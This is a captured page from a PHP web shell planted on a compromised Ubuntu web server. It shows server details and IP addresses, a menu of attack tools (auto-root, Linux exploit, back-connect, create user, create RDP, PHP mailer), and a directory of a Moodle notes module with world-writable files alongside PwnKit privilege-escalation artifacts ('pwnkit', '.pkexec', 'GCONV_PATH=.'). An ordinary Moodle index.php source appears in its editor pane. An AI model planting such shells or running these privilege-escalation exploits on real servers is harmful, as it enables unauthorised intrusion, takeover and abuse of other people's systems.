Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
notes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
delete.php
2.48
KB
-rwxrwxrwx
edit.php
3.14
KB
-rwxrwxrwx
edit_form.php
1.24
KB
-rwxrwxrwx
externallib.php
19.86
KB
-rwxrwxrwx
index.php
4.86
KB
-rwxrwxrwx
lib.php
10.21
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php /** * file index.php * index page to view notes. * if a course id is specified then the entries from that course are shown * if a user id is specified only notes related to that user are shown */ require_once('../config.php'); require_once('lib.php'); /// retrieve parameters $courseid = optional_param('course', SITEID, PARAM_INT); $userid = optional_param('user', 0, PARAM_INT); $filtertype = optional_param('filtertype', '', PARAM_ALPHA); $filterselect = optional_param('filterselect', 0, PARAM_INT); $url = new moodle_url('/notes/index.php'); if ($courseid != SITEID) { $url->param('course', $courseid); } if ($userid !== 0) { $url->param('user', $userid); } $PAGE->set_url($url); /// tabs compatibility switch($filtertype) { case 'course': $courseid = $filterselect; break; case 'site': $courseid = SITEID; break; } if (empty($courseid)) { $courseid = SITEID; } /// locate course information $course = $DB->get_record('course', array('id'=>$courseid), '*', MUST_EXIST); /// locate user information if ($userid) { $user = $DB->get_record('user', array('id'=>$userid), '*', MUST_EXIST); $filtertype = 'user'; $filterselect = $user->id; if ($user->deleted) { echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('userdeleted')); echo $OUTPUT->footer(); die; } } else { $filtertype = 'course'; $filterselect = $course->id; } /// require login to access notes require_login($course); add_to_log($courseid, 'notes', 'view', 'index.php?course='.$courseid.'&user='.$userid, 'view notes'); if (empty($CFG->enablenotes)) { print_error('notesdisabled', 'notes'); } /// output HTML if ($course->id == SITEID) { $coursecontext = context_system::instance(); // SYSTEM context } else { $coursecontext = context_course::instance($course->id); // Course context } $systemcontext = context_system::instance(); // SYSTEM context $strnotes = get_string('notes', 'notes'); if ($userid) { $PAGE->set_context(context_user::instance($user->id)); $PAGE->navigation->extend_for_user($user); } else { $link = null; if (has_capability('moodle/course:viewparticipants', $coursecontext) || has_capability('moodle/site:viewparticipants', $systemcontext)) { $link = new moodle_url('/user/index.php',array('id'=>$course->id)); } } $PAGE->set_pagelayout('course'); $PAGE->set_title($course->shortname . ': ' . $strnotes); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); if ($userid) { echo $OUTPUT->heading(fullname($user).': '.$strnotes); } else { echo $OUTPUT->heading(format_string($course->shortname, true, array('context' => $coursecontext)).': '.$strnotes); } $strsitenotes = get_string('sitenotes', 'notes'); $strcoursenotes = get_string('coursenotes', 'notes'); $strpersonalnotes = get_string('personalnotes', 'notes'); $straddnewnote = get_string('addnewnote', 'notes'); echo $OUTPUT->box_start(); if ($courseid != SITEID) { //echo '<a href="#sitenotes">' . $strsitenotes . '</a> | <a href="#coursenotes">' . $strcoursenotes . '</a> | <a href="#personalnotes">' . $strpersonalnotes . '</a>'; $context = context_course::instance($courseid); $addid = has_capability('moodle/notes:manage', $context) ? $courseid : 0; $view = has_capability('moodle/notes:view', $context); $fullname = format_string($course->fullname, true, array('context' => $context)); note_print_notes('<a name="sitenotes"></a>' . $strsitenotes, $addid, $view, 0, $userid, NOTES_STATE_SITE, 0); note_print_notes('<a name="coursenotes"></a>' . $strcoursenotes. ' ('.$fullname.')', $addid, $view, $courseid, $userid, NOTES_STATE_PUBLIC, 0); note_print_notes('<a name="personalnotes"></a>' . $strpersonalnotes, $addid, $view, $courseid, $userid, NOTES_STATE_DRAFT, $USER->id); } else { // Normal course //echo '<a href="#sitenotes">' . $strsitenotes . '</a> | <a href="#coursenotes">' . $strcoursenotes . '</a>'; $view = has_capability('moodle/notes:view', context_system::instance()); note_print_notes('<a name="sitenotes"></a>' . $strsitenotes, 0, $view, 0, $userid, NOTES_STATE_SITE, 0); echo '<a name="coursenotes"></a>'; if (!empty($userid)) { $courses = enrol_get_users_courses($userid); foreach($courses as $c) { $ccontext = context_course::instance($c->id); $cfullname = format_string($c->fullname, true, array('context' => $ccontext)); $header = '<a href="' . $CFG->wwwroot . '/course/view.php?id=' . $c->id . '">' . $cfullname . '</a>'; if (has_capability('moodle/notes:manage', context_course::instance($c->id))) { $addid = $c->id; } else { $addid = 0; } note_print_notes($header, $addid, $view, $c->id, $userid, NOTES_STATE_PUBLIC, 0); } } } echo $OUTPUT->box_end(); echo $OUTPUT->footer();
Close